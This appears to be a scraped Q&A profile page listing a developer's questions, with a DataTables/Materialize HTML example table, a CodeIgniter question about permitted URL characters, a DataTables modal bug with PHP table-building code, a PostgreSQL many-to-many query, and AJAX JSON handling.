                        "sSortDescending": ": Activar para ordenar la columna de manera descendente"
                    }
                }
    });
} );

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <!--Import Google Icon Font-->
  <link href="http://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
  <!--Import materialize.css-->
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.7/css/materialize.min.css">
  
  <link rel="stylesheet" href="https://cdn.datatables.net/1.10.12/css/jquery.dataTables.min.css">

  <!--Let browser know website is optimized for mobile-->
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Datatables Materialize</title>
</head>
<body>
  
  <table id="example" class="display highlight" cellspacing="0" width="100%">
        <thead>
            <tr>
                <th>Name</th>
                <th>Position</th>
                <th>Office</th>
                <th>Age</th>
                <th>Start date</th>
                <th>Salary</th>
            </tr>
        </thead>
        <tfoot>
            <tr>
                <th>Name</th>
                <th>Position</th>
                <th>Office</th>
                <th>Age</th>
                <th>Start date</th>
                <th>Salary</th>
            </tr>
        </tfoot>
        <tbody>
            <tr>
                <td>Tiger Nixon</td>
                <td>System Architect</td>
                <td>Edinburgh</td>
                <td>61</td>
                <td>2011/04/25</td>
                <td>$320,800</td>
            </tr>
            <tr>
                <td>Garrett Winters</td>
                <td>Accountant</td>
                <td>Tokyo</td>
                <td>63</td>
                <td>2011/07/25</td>
                <td>$170,750</td>
            </tr>
            <tr>
                <td>Ashton Cox</td>
                <td>Junior Technical Author</td>
                <td>San Francisco</td>
                <td>66</td>
                <td>2009/01/12</td>
                <td>$86,000</td>
            </tr>
            <tr>
                <td>Cedric Kelly</td>
                <td>Senior Javascript Developer</td>
                <td>Edinburgh</td>
                <td>22</td>
                <td>2012/03/29</td>
                <td>$433,060</td>
            </tr>
            <tr>
                <td>Airi Satou</td>
                <td>Accountant</td>
                <td>Tokyo</td>
                <td>33</td>
                <td>2008/11/28</td>
                <td>$162,700</td>
            </tr>
            <tr>
                <td>Brielle Williamson</td>
                <td>Integration Specialist</td>
                <td>New York</td>
                <td>61</td>
                <td>2012/12/02</td>
                <td>$372,000</td>
            </tr>
            <tr>
                <td>Herrod Chandler</td>
                <td>Sales Assistant</td>
                <td>San Francisco</td>
                <td>59</td>
                <td>2012/08/06</td>
                <td>$137,500</td>
            </tr>
            <tr>
                <td>Rhona Davidson</td>
                <td>Integration Specialist</td>
                <td>Tokyo</td>
                <td>55</td>
                <td>2010/10/14</td>
                <td>$327,900</td>
            </tr>
            <tr>
                <td>Colleen Hurst</td>
                <td>Javascript Developer</td>
                <td>San Francisco</td>
                <td>39</td>
                <td>2009/09/15</td>
                <td>$205,500</td>
            </tr>
            <tr>
                <td>Sonya Frost</td>
                <td>Software Engineer</td>
                <td>Edinburgh</td>
                <td>23</td>
                <td>2008/12/13</td>
                <td>$103,600</td>
            </tr>
            <tr>
                <td>Jena Gaines</td>
                <td>Office Manager</td>
                <td>London</td>
                <td>30</td>
                <td>2008/12/19</td>
                <td>$90,560</td>
            </tr>
            <tr>
                <td>Quinn Flynn</td>
                <td>Support Lead</td>
                <td>Edinburgh</td>
                <td>22</td>
                <td>2013/03/03</td>
                <td>$342,000</td>
            </tr>
            <tr>
                <td>Charde Marshall</td>
                <td>Regional Director</td>
                <td>San Francisco</td>
                <td>36</td>
                <td>2008/10/16</td>
                <td>$470,600</td>
            </tr>
            <tr>
                <td>Haley Kennedy</td>
                <td>Senior Marketing Designer</td>
                <td>London</td>
                <td>43</td>
                <td>2012/12/18</td>
                <td>$313,500</td>
            </tr>
            <tr>
                <td>Tatyana Fitzpatrick</td>
                <td>Regional Director</td>
                <td>London</td>
                <td>19</td>
                <td>2010/03/17</td>
                <td>$385,750</td>
            </tr>
            <tr>
                <td>Michael Silva</td>
                <td>Marketing Designer</td>
                <td>London</td>
                <td>66</td>
                <td>2012/11/27</td>
                <td>$198,500</td>
            </tr>
            <tr>
                <td>Paul Byrd</td>
                <td>Chief Financial Officer (CFO)</td>
                <td>New York</td>
                <td>64</td>
                <td>2010/06/09</td>
                <td>$725,000</td>
            </tr>
            <tr>
                <td>Gloria Little</td>
                <td>Systems Administrator</td>
                <td>New York</td>
                <td>59</td>
                <td>2009/04/10</td>
                <td>$237,500</td>
            </tr>
            <tr>
                <td>Bradley Greer</td>
                <td>Software Engineer</td>
                <td>London</td>
                <td>41</td>
                <td>2012/10/13</td>
                <td>$132,000</td>
            </tr>
            <tr>
                <td>Dai Rios</td>
                <td>Personnel Lead</td>
                <td>Edinburgh</td>
                <td>35</td>
                <td>2012/09/26</td>
                <td>$217,500</td>
            </tr>
            <tr>
                <td>Jenette Caldwell</td>
                <td>Development Lead</td>
                <td>New York</td>
                <td>30</td>
                <td>2011/09/03</td>
                <td>$345,000</td>
            </tr>
            <tr>
                <td>Yuri Berry</td>
                <td>Chief Marketing Officer (CMO)</td>
                <td>New York</td>
                <td>40</td>
                <td>2009/06/25</td>
                <td>$675,000</td>
            </tr>
            <tr>
                <td>Caesar Vance</td>
                <td>Pre-Sales Support</td>
                <td>New York</td>
                <td>21</td>
                <td>2011/12/12</td>
                <td>$106,450</td>
            </tr>
            <tr>
                <td>Doris Wilder</td>
                <td>Sales Assistant</td>
                <td>Sidney</td>
                <td>23</td>
                <td>2010/09/20</td>
                <td>$85,600</td>
            </tr>
            <tr>
                <td>Angelica Ramos</td>
                <td>Chief Executive Officer (CEO)</td>
                <td>London</td>
                <td>47</td>
                <td>2009/10/09</td>
                <td>$1,200,000</td>
            </tr>
            <tr>
                <td>Gavin Joyce</td>
                <td>Developer</td>
                <td>Edinburgh</td>
                <td>42</td>
                <td>2010/12/22</td>
                <td>$92,575</td>
            </tr>
            <tr>
                <td>Jennifer Chang</td>
                <td>Regional Director</td>
                <td>Singapore</td>
                <td>28</td>
                <td>2010/11/14</td>
                <td>$357,650</td>
            </tr>
            <tr>
                <td>Brenden Wagner</td>
                <td>Software Engineer</td>
                <td>San Francisco</td>
                <td>28</td>
                <td>2011/06/07</td>
                <td>$206,850</td>
            </tr>
            <tr>
                <td>Fiona Green</td>
                <td>Chief Operating Officer (COO)</td>
                <td>San Francisco</td>
                <td>48</td>
                <td>2010/03/11</td>
                <td>$850,000</td>
            </tr>
            <tr>
                <td>Shou Itou</td>
                <td>Regional Marketing</td>
                <td>Tokyo</td>
                <td>20</td>
                <td>2011/08/14</td>
                <td>$163,000</td>
            </tr>
            <tr>
                <td>Michelle House</td>
                <td>Integration Specialist</td>
                <td>Sidney</td>
                <td>37</td>
                <td>2011/06/02</td>
                <td>$95,400</td>
            </tr>
            <tr>
                <td>Suki Burks</td>
                <td>Developer</td>
                <td>London</td>
                <td>53</td>
                <td>2009/10/22</td>
                <td>$114,500</td>
            </tr>
            <tr>
                <td>Prescott Bartlett</td>
                <td>Technical Author</td>
                <td>London</td>
                <td>27</td>
                <td>2011/05/07</td>
                <td>$145,000</td>
            </tr>
            <tr>
                <td>Gavin Cortez</td>
                <td>Team Leader</td>
                <td>San Francisco</td>
                <td>22</td>
                <td>2008/10/26</td>
                <td>$235,500</td>
            </tr>
            <tr>
                <td>Martena Mccray</td>
                <td>Post-Sales support</td>
                <td>Edinburgh</td>
                <td>46</td>
                <td>2011/03/09</td>
                <td>$324,050</td>
            </tr>
            <tr>
                <td>Unity Butler</td>
                <td>Marketing Designer</td>
                <td>San Francisco</td>
                <td>47</td>
                <td>2009/12/09</td>
                <td>$85,675</td>
            </tr>
            <tr>
                <td>Howard Hatfield</td>
                <td>Office Manager</td>
                <td>San Francisco</td>
                <td>51</td>
                <td>2008/12/16</td>
                <td>$164,500</td>
            </tr>
            <tr>
                <td>Hope Fuentes</td>
                <td>Secretary</td>
                <td>San Francisco</td>
                <td>41</td>
                <td>2010/02/12</td>
                <td>$109,850</td>
            </tr>
            <tr>
                <td>Vivian Harrell</td>
                <td>Financial Controller</td>
                <td>San Francisco</td>
                <td>62</td>
                <td>2009/02/14</td>
                <td>$452,500</td>
            </tr>
            <tr>
                <td>Timothy Mooney</td>
                <td>Office Manager</td>
                <td>London</td>
                <td>37</td>
                <td>2008/12/11</td>
                <td>$136,200</td>
            </tr>
            <tr>
                <td>Jackson Bradshaw</td>
                <td>Director</td>
                <td>New York</td>
                <td>65</td>
                <td>2008/09/26</td>
                <td>$645,750</td>
            </tr>
            <tr>
                <td>Olivia Liang</td>
                <td>Support Engineer</td>
                <td>Singapore</td>
                <td>64</td>
                <td>2011/02/03</td>
                <td>$234,500</td>
            </tr>
            <tr>
                <td>Bruno Nash</td>
                <td>Software Engineer</td>
                <td>London</td>
                <td>38</td>
                <td>2011/05/03</td>
                <td>$163,500</td>
            </tr>
            <tr>
                <td>Sakura Yamamoto</td>
                <td>Support Engineer</td>
                <td>Tokyo</td>
                <td>37</td>
                <td>2009/08/19</td>
                <td>$139,575</td>
            </tr>
            <tr>
                <td>Thor Walton</td>
                <td>Developer</td>
                <td>New York</td>
                <td>61</td>
                <td>2013/08/11</td>
                <td>$98,540</td>
            </tr>
            <tr>
                <td>Finn Camacho</td>
                <td>Support Engineer</td>
                <td>San Francisco</td>
                <td>47</td>
                <td>2009/07/07</td>
                <td>$87,500</td>
            </tr>
            <tr>
                <td>Serge Baldwin</td>
                <td>Data Coordinator</td>
                <td>Singapore</td>
                <td>64</td>
                <td>2012/04/09</td>
                <td>$138,575</td>
            </tr>
            <tr>
                <td>Zenaida Frank</td>
                <td>Software Engineer</td>
                <td>New York</td>
                <td>63</td>
                <td>2010/01/04</td>
                <td>$125,250</td>
            </tr>
            <tr>
                <td>Zorita Serrano</td>
                <td>Software Engineer</td>
                <td>San Francisco</td>
                <td>56</td>
                <td>2012/06/01</td>
                <td>$115,000</td>
            </tr>
            <tr>
                <td>Jennifer Acosta</td>
                <td>Junior Javascript Developer</td>
                <td>Edinburgh</td>
                <td>43</td>
                <td>2013/02/01</td>
                <td>$75,650</td>
            </tr>
            <tr>
                <td>Cara Stevens</td>
                <td>Sales Assistant</td>
                <td>New York</td>
                <td>46</td>
                <td>2011/12/06</td>
                <td>$145,600</td>
            </tr>
            <tr>
                <td>Hermione Butler</td>
                <td>Regional Director</td>
                <td>London</td>
                <td>47</td>
                <td>2011/03/21</td>
                <td>$356,250</td>
            </tr>
            <tr>
                <td>Lael Greer</td>
                <td>Systems Administrator</td>
                <td>London</td>
                <td>21</td>
                <td>2009/02/27</td>
                <td>$103,500</td>
            </tr>
            <tr>
                <td>Jonas Alexander</td>
                <td>Developer</td>
                <td>San Francisco</td>
                <td>30</td>
                <td>2010/07/14</td>
                <td>$86,500</td>
            </tr>
            <tr>
                <td>Shad Decker</td>
                <td>Regional Director</td>
                <td>Edinburgh</td>
                <td>51</td>
                <td>2008/11/13</td>
                <td>$183,000</td>
            </tr>
            <tr>
                <td>Michael Bruce</td>
                <td>Javascript Developer</td>
                <td>Singapore</td>
                <td>29</td>
                <td>2011/06/27</td>
                <td>$183,000</td>
            </tr>
            <tr>
                <td>Donna Snider</td>
                <td>Customer Support</td>
                <td>New York</td>
                <td>27</td>
                <td>2011/01/25</td>
                <td>$112,000</td>
            </tr>
        </tbody>
    </table>
  
  <!--Import jQuery before materialize.js-->
  <script type="text/javascript" src="https://code.jquery.com/jquery-2.1.1.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/materialize/0.97.7/js/materialize.min.js"></script>
  <script src="https://cdn.datatables.net/1.10.12/js/jquery.dataTables.min.js"></script>

</body>
</html>

Juan Pinzón

Asked: 2020-08-10 05:57:13 +0800 CST

Why is it dangerous to allow all characters in a URL?

16

Reviewing the configuration CodeIgniterI came across the following line:

$config['permitted_uri_chars'] = 'a-z 0-9~%.:_\-';

And the documentation for it says:

/*
|--------------------------------------------------------------------------
| Allowed URL Characters
|--------------------------------------------------------------------------
|
| This lets you specify which characters are permitted within your URLs.
| When someone tries to submit a URL with disallowed characters they will
| get a warning message.
|
| As a security measure you are STRONGLY encouraged to restrict URLs to
| as few characters as possible.  By default only these are allowed: a-z 0-9~%.:_-
|
| Leave blank to allow all characters -- but only if you are insane.
|
| The configured value is actually a regular expression character group
| and it will be executed as: ! preg_match('/^[<permitted_uri_chars>]+$/i
|
| DO NOT CHANGE THIS UNLESS YOU FULLY UNDERSTAND THE REPERCUSSIONS!!
|
*/

/*
|--------------------------------------------------------------------------
| Caracteres URL permitidos
|----------------------------------------------------------------------
|
|Esto permite especificar qué caracteres están permitidas dentro de sus URL. 
|Cuando alguien trata de enviar una URL con caracteres no permitidos se les 
|dará un mensaje de advertencia.
|
|Como medida de seguridad, se recomienda enfáticamente restringir las direcciones 
|URL a la menor cantidad de caracteres posible. 
|Por defecto sólo se permiten éstos: a-z ~ 0-9%:. _-
|
|Dejar en blanco para permitir todos los caracteres -- pero sólo si estás loco.
|
|El valor configurado es actualmente una expresión regular de agrupamiento 
|de caracteres y sera ejecutada como: ! preg_match('/^[<permitted_uri_chars>]+$/i
|
|NO CAMBIES ESTO HASTA QUE COMPRENDAS COMPLETAMENTE LAS REPERCUSIONES!!
|
*/

However, it is not entirely clear to me what repercussions or security problems may arise from allowing all characters in a url.

Regardless of the language used, what problems can this situation generate?

Juan Pinzón

Asked: 2020-05-10 14:44:21 +0800 CST

jquery DataTables does not allow to open modal dialog after 10 rows

5

I have a problem when using jquery Datatables , I don't know why it doesn't allow me to open modal dialogs that are called after row 10, everything works normally in rows 1 - 10 of the table, however I don't know what happens all the others fail, since in chrome console and network it does not show me any error, even the ajax calls that I have are executed well, the problem is that the modal dialogs do not open, the code that I have is the following:

Data table call:

$(document).ready(function() {
  $('#datatab').DataTable()
}

Create html table:

public function tablaDet($arreglo, $tipo, $tipoeq){
    $r = json_decode(json_encode($arreglo),TRUE);
    $th = array_keys($r[0]);
    /*echo "<pre>";
    print_r($r);*/
    switch ($tipo) {
      case 'lista':
          $t = "<table id='datatab' class='display'>";
          $t .= "<thead>";
          $t .= "<tr>";
          foreach ($th as $heads => $head) {
            if ($head != "identificador") {
              switch ($head) {
                case 'nombre_depto':
                  $head = "Departamento";
                  break;
                case 'nombre_persona':
                  $head = "Funcionario Actual";
                  break;
                case 'dir_ip':
                  $head = "Dirección Ip";
                  break;
                case 'mac':
                  $head = "Dirección Física";
                  break;
                case 'nro_serie':
                  $head = "Nro. Serie";
                  break;
                case 'codigo_ebye':
                  $head = "Código EBYE";
                  break;
                case 'codigo_activo':
                  $head = "Código Activo";
                  break;
                case 'documentos':
                  $head = "Documentos";
                  break;
                case 'fecha_ingreso':
                  $head = "Fecha Ingreso";
                  break;
                case 'nombre_prod':
                  $head = "Nombre Producto";
                  break;
                case 'nombre_marca':
                  $head = "Marca";
                  break;
                case 'avaluo_inicial':
                  $head = "Avaluo Inicial";
                  break;
                case 'descr_procesador':
                  $head = "Procesador";
                  break;
                case 'nombre_modelo':
                  $head = "Modelo";
                  break;
                case 'nombre_cpu':
                  $head = "CPU";
                  break;
                case 'nombre_mon':
                  $head = "Monitor";
                  break;
                default:
                  # code...
                  break;
              }
              $t .= "<th>".$head."</th>";
            }
          }
          $t .= "<th>Detalles</th>";
          $t .= "<th>Actualizar</th>";
          $t .= "<th>Eliminar</th>";
          $t .= "</tr>";
          $t .= "</thead>";
          $t .= "<tbody>";
          foreach ($r as $files) {
            $t .= "<tr>";
            foreach ($files as $cols => $col) {
              if ($cols != "identificador") {
                $t .= "<td>";
                  $t .= $col;
                $t .= "</td>";
              }
            }

            $t.='<td><a href="#" class="view_'.strtolower($tipoeq).'" id="view_'.strtolower($tipoeq).''.$files['identificador'].'" onClick="obtener'.$tipoeq.'Det('.$files['identificador'].')"><i class="ui-icon ui-icon-circle-zoomout" style="color:black;"></i></button></td>';
            $t.='<td><a href="#" class="act_'.strtolower($tipoeq).'" id="act_'.strtolower($tipoeq).''.$files['identificador'].'" onClick="obtenerCpu('.$files['identificador'].')"><i class="ui-icon ui-icon-refresh" style="color:black;"></i></button></td>';
            $t.='<td><a href="#" onClick="eliminar'.$tipoeq.'('.$files['identificador'].')"><i class="ui-icon ui-icon-trash" style="color:black;"></i></a></td>';
            $t .= "</tr>";
          }
          $t .= "</tbody>";
        $t .= "</table>";
        break;
    default:
        # code...
        break;
    }
    return $t;
  }

Open Modal Dialog:

$(function() {
      var dialog, form;

      dialog = $( "#details-cpu" ).dialog({
        autoOpen: false,
        height: 500,
        width: "80%",
        modal: true,
        buttons: {

          Cerrar: function() {
            dialog.dialog( "close" );
          }
        },
        close: function() {
          //form[ 0 ].reset();
        }
      });

      form = dialog.find( "form" ).on( "submit", function( event ) {
        event.preventDefault();
        //actUser();
      });

      $('.view_cpu').click(function(e) {
        e.preventDefault();
        dialog.dialog('open');
      });

      /*$( "#act_user" ).button().on( "click", function() {
        dialog.dialog( "open" );
      });*/
    });

EDIT

Here I put the problem in jsfiddle https://jsfiddle.net/s5w74xe7/1/

Juan Pinzón

Asked: 2020-04-14 12:37:45 +0800 CST

Select a single value from a many-to-many relationship

3

I have a problem when obtaining the records of a DB through a many-to-many relationship, I have the following tables:

At the time of extracting the data from the cpu, there are cpu's that have several network cards, so I have a many-to-many relationship, the problem is that I don't know how to obtain the network cards without repeating the cpu.

The query I make is the following:

SELECT cpu.id_cpu, nic.mac, nic.dir_ip FROM cpu 
JOIN activo_fijo ON cpu.id_activo = activo_fijo.id_activo 
JOIN nic_cpu ON nic_cpu.id_cpu = cpu.id_cpu 
JOIN nic ON nic.id_nic = nic_cpu.id_nic;

The query returns the following:

As you can see, the record with id_cpu: 39 is repeated since that cpu has 2 network cards.

What I would like to obtain is this data in a single record, or in any case omit a network card, since I have to list all the existing cpu's and in this case some would be repeated, since there are several cpus with two network cards;

This is what I want to avoid:

Is there a way to do it in SQL or PHP?

I am using PHP as programming language and postgresql as DB.

Juan Pinzón

Asked: 2020-03-02 12:45:43 +0800 CST

Process json_encode($data) via ajax jquery

5

I am working with ajax, jquery and php; I send an ajax request to php through post, like this:

function obtenermail() {
    //console.log($('#destinatario').val());
    var ced = $('#destinatario').val();
    $.ajax({
        type: "POST",
        data: { 'cedula': $('#destinatario').val()},
        url: "<?php echo site_url();?>"+"/roles/obtenercorreo", 
        success : function(data) {
            console.log(data);

        }
    });
}

in php I have the following function:

public function obtenercorreo(){
    if($this->session->userdata('logueado')){
        $ced = $this->input->post('cedula');
        $data = $this->persona_model->getPersonaced($ced);
        echo json_encode($data);
    }else{
        redirect('','refresh');
    }
}

The request works correctly, it shows me the arrangement as follows:

[{"cedula":"1100253986","nombres":"SOTO CASTILLO LAURO HERNAN","mod_laboral":"CONTRATO COLECTIVO","email":""}]

What I don't know is how to get each value separately, since if I put

console.log(data[0])
console.log(data.cedula)
console.log(data['cedula'])

returns me undefined or an empty string .

My question is: How could I go about reading each individual item? that is, obtain the cedula, or the mail separately

Get last record saved in a table with relation 1 to N

How to catch exceptions in Oracle

How to get separate numbers from a string in C#?

Reload the same URL with a different hash (fragment)

Problem placing and deleting elements from select to an html textarea

How to restrict the type of file to upload in an input html file?

Change color of an image with css

Get the names of the tables of a DB in postgresql

How to get the author name of a Git repository?

What would be the optimal solution?

Deobfuscate php code

Concatenate a string with a float C++

Website hack with script referencing another site

add row to html table

Optimize algorithm implementation

How to integrate Jquery Datatables with materializecss?

Why is it dangerous to allow all characters in a URL?

jquery DataTables does not allow to open modal dialog after 10 rows

Select a single value from a many-to-many relationship

Process json_encode($data) via ajax jquery

HTML button that sends you to another page

Why do I get the error "Call to undefined function mysql_connect()"?

How to create an HTML button that works as a link?

How to separate a String in Java. How to use split()

Filter by dates in sql server

How to limit the number of decimal places in a double?

For each in JavaScript?

Position footer ALWAYS glued to the footer

Definitive Guide to Type Conversion in Java

How to properly compare Strings (and objects) in Java?

Juan Pinzón's questions